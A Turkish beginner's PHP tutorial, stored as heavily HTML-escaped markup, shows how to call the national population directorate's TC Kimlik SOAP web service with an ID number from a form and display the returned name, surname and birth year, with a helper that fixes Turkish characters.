/&gt;&amp;lt;!--&lt;br&gt;&lt;br /&gt;.style2 {&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; font-size: 14px;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; font-family: Verdana, Arial, Helvetica, sans-serif;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; font-weight: bold;&lt;br&gt;&lt;br /&gt;}&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;.style3 {&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; font-size: 12px;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; font-family: Verdana, Arial, Helvetica, sans-serif;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; font-weight: bold;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&lt;br /&gt;--&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;/* &amp;Ouml;ncelikle N&amp;uuml;fus&amp;nbsp; M&amp;uuml;d&amp;uuml;rl&amp;uuml;&amp;#287;&amp;uuml;n&amp;uuml;n web servis hizmetini kullanabilmek i&amp;ccedil;in gereken adresi bilmeliyiz.&lt;br&gt;&lt;br /&gt;** sorui&amp;#351;areti(?)'den sonra "wsdl" uzant&amp;#305;s&amp;#305; olmal&amp;#305;.&amp;nbsp; &lt;br&gt;&lt;br /&gt;** bu adresi &amp;ouml;&amp;#287;rendikten sonra bir SOAP nesnesi olu&amp;#351;turmal&amp;#305;y&amp;#305;z.a&amp;#351;a&amp;#287;&amp;#305;daki tek sat&amp;#305;rl&amp;#305;k kod bir &lt;br&gt;&lt;br /&gt;** SoapClient nesnesi olu&amp;#351;turmaktad&amp;#305;r.Soap Nesnesi olu&amp;#351;tural&amp;#305;m ki,n&amp;uuml;fus m&amp;uuml;d&amp;uuml;rl&amp;uuml;&amp;#287;&amp;uuml;n&amp;uuml;n web servisi&lt;br&gt;&lt;br /&gt;** i&amp;ccedil;indeki fonksiyonlar&amp;#305; kullanabilelim.&lt;br&gt;&lt;br /&gt;*/&lt;br&gt;&lt;br /&gt;$soap=new SoapClient("http://tckimlik.nvi.gov.tr/kpsPublic.asmx?wsdl");&lt;br&gt;&lt;br /&gt;?&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;div align="center"&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp; &amp;lt;form id="form1" name="form1" method="post" action=""&amp;gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;table width="350" border="1" cellpadding="0" cellspacing="0" bordercolor="#FF0000"&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;tr&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;&amp;lt;div align="center"&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;table width="300" border="0"&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;tr&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;td&amp;gt;&amp;lt;div align="center" class="style2"&amp;gt;T.C. Kimlik  Numaran&amp;amp;#305;z&amp;amp;#305; Giriniz..: &amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/tr&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;tr&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;&amp;lt;div align="center"&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input name="txtkno" type="text" id="txtkno" size="20" /&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/tr&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;tr&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;&amp;lt;div align="center"&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type="submit" name="Submit" value="Sorgula..." /&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/tr&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/table&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/tr&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/table&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp; &amp;lt;/form&amp;gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&amp;lt;?php &lt;br&gt;&lt;br /&gt;/*&lt;br&gt;&lt;br /&gt;**Buradaki kodlar sayfa post edildikten sonra kullana&amp;#305;labilecekler.&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br&gt;&lt;br /&gt;*/&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if($_POST)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; {&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** A&amp;#351;a&amp;#287;&amp;#305;daki fonksiyon t&amp;uuml;rk&amp;ccedil;e karakterler d&amp;ouml;n&amp;uuml;&amp;#351;t&amp;uuml;rme fonksiyonudur.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** biz N&amp;uuml;f&amp;uuml;s m&amp;uuml;d&amp;uuml;rl&amp;uuml;&amp;#287;&amp;uuml;n&amp;uuml;n web servisini kullanarak verileri &amp;ccedil;ekti&amp;#287;imizde , o veriler utf-8 format&amp;#305;ndad&amp;#305;rlar.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** yani bizim "&amp;#304;" olmas&amp;#305;n&amp;#305; bekledi&amp;#287;imiz harfimiz "&amp;Auml;&amp;deg;" &amp;#351;eklinde gelmektedir.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** Bunu&amp;nbsp; d&amp;uuml;zeltebilmek i&amp;ccedil;in bir fonksiyon kullan&amp;#305;yoruz.B&amp;ouml;ylece yanl&amp;#305;&amp;#351; gelen harfler&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** d&amp;uuml;zeltilerek kullan&amp;#305;c&amp;#305;ya do&amp;#287;ru bir &amp;#351;ekilde g&amp;ouml;sterilmektedir.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; function turkce_karakterler($tck)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; {&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tck=str_replace("&amp;Auml;&amp;deg;","&amp;#304;",$tck);&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tck=str_replace("&amp;Atilde;&amp;oelig;","&amp;Uuml;",$tck);&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tck=str_replace("&amp;Auml;&amp;#382;","&amp;#286;",$tck);&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tck=str_replace("&amp;Aring;?","&amp;#350;",$tck);&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tck=str_replace("&amp;Atilde;&amp;Dagger;","&amp;Ccedil;",$tck);&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tck=str_replace("&amp;Atilde;&amp;ndash;","&amp;Ouml;",$tck);&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return $tck;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; } &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; /*&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; **A&amp;#351;a&amp;#287;&amp;#305;daki tek satr&amp;#305;l&amp;#305;k kod ,nufus m&amp;uuml;d&amp;uuml;rl&amp;uuml;&amp;#287;&amp;uuml;n&amp;uuml;n("http://tckimlik.nvi.gov.tr") web servisinin bize sunmu&amp;#351; oldu&amp;#287;u&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** fonksiyonlardan biridir."TCKimlikNoDogrula" fornksiyonu sayfam&amp;#305;zdaki tckimlik numaram&amp;#305;z&amp;#305; yazd&amp;#305;&amp;#287;&amp;#305;m&amp;#305;z text kutusunun&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** degerini al&amp;#305;r.B&amp;ouml;ylece biz tckimlik numaras&amp;#305;n&amp;#305;n aranmas&amp;#305; i&amp;#351;lemini nufus m&amp;uuml;d&amp;uuml;rl&amp;uuml;&amp;#287;&amp;uuml;n&amp;uuml;n web servisi&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** &amp;uuml;zerine atar&amp;#305;z.B&amp;ouml;ylece g&amp;ouml;nderdi&amp;#287;imiz numara nufus m&amp;uuml;d. web servisinde aran&amp;#305;r.XML verisi halinde oldu&amp;#287;u i&amp;ccedil;inde&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** array kullanmam&amp;#305;z gerekmektedir.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** peki neden *1(bir ile &amp;ccedil;arpt&amp;#305;k)?&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** &amp;Ccedil;&amp;uuml;nk&amp;uuml; "TCKimlikDogrula" fonksiyonu long veri tipindedir.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** bizim text kutumuz string bir de&amp;#287;er g&amp;ouml;nderir.biz onu *1 ile say&amp;#305;sal hale getiririz.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; **E&amp;#287;er *1 i silersek , sorgulama &amp;ccedil;al&amp;#305;&amp;#351;maz.isterseniz deneyin!!!&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; */&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; $tc=$soap-&amp;gt;TCKimlikNoDogrula(array("tcKimlikNo"=&amp;gt;$_POST['txtkno']*1));&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /*&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** A&amp;#351;a&amp;#287;&amp;#305;daki array yap&amp;#305;s&amp;#305; &amp;#351;unun i&amp;ccedil;indir.&amp;#350;imdi hemen http://tckimlik.nvi.gov.tr/Web/WebServices.aspx adresine gidin.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** a&amp;#351;a&amp;#287;&amp;#305;da &amp;ccedil;&amp;#305;kan linki t&amp;#305;klay&amp;#305;n.(XML web servisleri dokumantasyonu)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** Orada web servisinin bize kullanmam&amp;#305;z i&amp;ccedil;in free olarak fonksiyonlar&amp;#305; g&amp;ouml;r&amp;uuml;lmektedir.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** biz "TCKimlikNoDogrula" fonksiyonunu kullanmaktay&amp;#305;z.O fonksiyonu t&amp;#305;klay&amp;#305;nca kar&amp;#351;&amp;#305;n&amp;#305;za XML sayfas&amp;#305; gelir.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** O XML sayfas&amp;#305;nda "TCKimlikNoDogrula" etiketi vard&amp;#305;r.biz onu yukar&amp;#305;daki tek satr&amp;#305;l&amp;#305;k kod ile kulland&amp;#305;k.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** A&amp;#351;a&amp;#287;&amp;#305;ya inerseniz orada birde "TCKimlikNoDogrulaResult" etiketini g&amp;ouml;receksiniz.Oran&amp;#305;n i&amp;ccedil;eri&amp;#287;ine bak&amp;#305;nca &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** a&amp;#351;a&amp;#287;&amp;#305;daki array yap&amp;#305;s&amp;#305;n&amp;#305;n etiketlerini g&amp;ouml;receksiniz.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** yani biz "TCKimlikNoDo&amp;#287;rula" etiketine text kutumuzdaki numaray&amp;#305; g&amp;ouml;nderdi&amp;#287;imizde &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** bize "TCKimlikNoDogrulaResult" etiketi geri bildirim yap&amp;#305;p , o tckimlik numaras&amp;#305;n&amp;#305;n bilgilerini bize geri d&amp;ouml;nd&amp;uuml;r&amp;uuml;r.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** B&amp;ouml;ylece nufus m&amp;uuml;d&amp;uuml;rl&amp;uuml;&amp;#287;&amp;uuml;n&amp;uuml;n web servisini kullanm&amp;#305;&amp;#351; oluruz. &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;*/&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; $bilgiler=array("TCKimlikNo" =&amp;gt; "T.C. Kimlik Numaran&amp;#305;z..:",&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "Ad" =&amp;gt; "Ad&amp;#305;n&amp;#305;z..:",&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; "Soyad"=&amp;gt;"Soyad&amp;#305;n&amp;#305;z..:",&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; "DogumYil"=&amp;gt;"Do&amp;#287;um Y&amp;#305;l&amp;#305;n&amp;#305;z..:");&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /*&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** &amp;#350;imdi gelelim&amp;nbsp; verileri ekrana yazd&amp;#305;rmaya.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** bir foreach d&amp;ouml;ng&amp;uuml;s&amp;uuml; kullanrak "TCKimlikNoDogrulaResult" fonksiyonu vas&amp;#305;tas&amp;#305;yla &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** bilgileri ekrana yaz&amp;#305;yoruz.hemde utf-8 format&amp;#305;nda gelen verileri turkce_karakterler fonksiyonunu&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** kullanarak iso-8859-9 format&amp;#305;ndaym&amp;#305;&amp;#351; gibi ekrana bas&amp;#305;yoruz.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; ** i&amp;#351;te bu kadar.&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; */&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo "&amp;lt;table border=\"1\" width=\"350\" cellpadding=\"0\" cellspacing=\"0\" bordercolor=\"#FF0000\"&amp;gt;";&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; foreach($bilgiler as $deger =&amp;gt; $metin)&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; echo "&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;div align=\"left\" class=\"style3\"&amp;gt;".$metin."&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;td&amp;gt;".turkce_karakterler($tc-&amp;gt;TCKimlikNoDogrulaResult-&amp;gt;$deger)."&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;";&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;echo "&amp;lt;/table&amp;gt;";&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; /*&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ** Bu kodlar PHP+SOAP uygulamalar&amp;#305;na yeni ba&amp;#351;layan arkada&amp;#351;lara iyi bir &lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ** ba&amp;#351;lang&amp;#305;&amp;ccedil; kayna&amp;#287;&amp;#305; olaa&amp;#287;&amp;#305;na inan&amp;#305;yorum.Bu sayfadaki kodlar 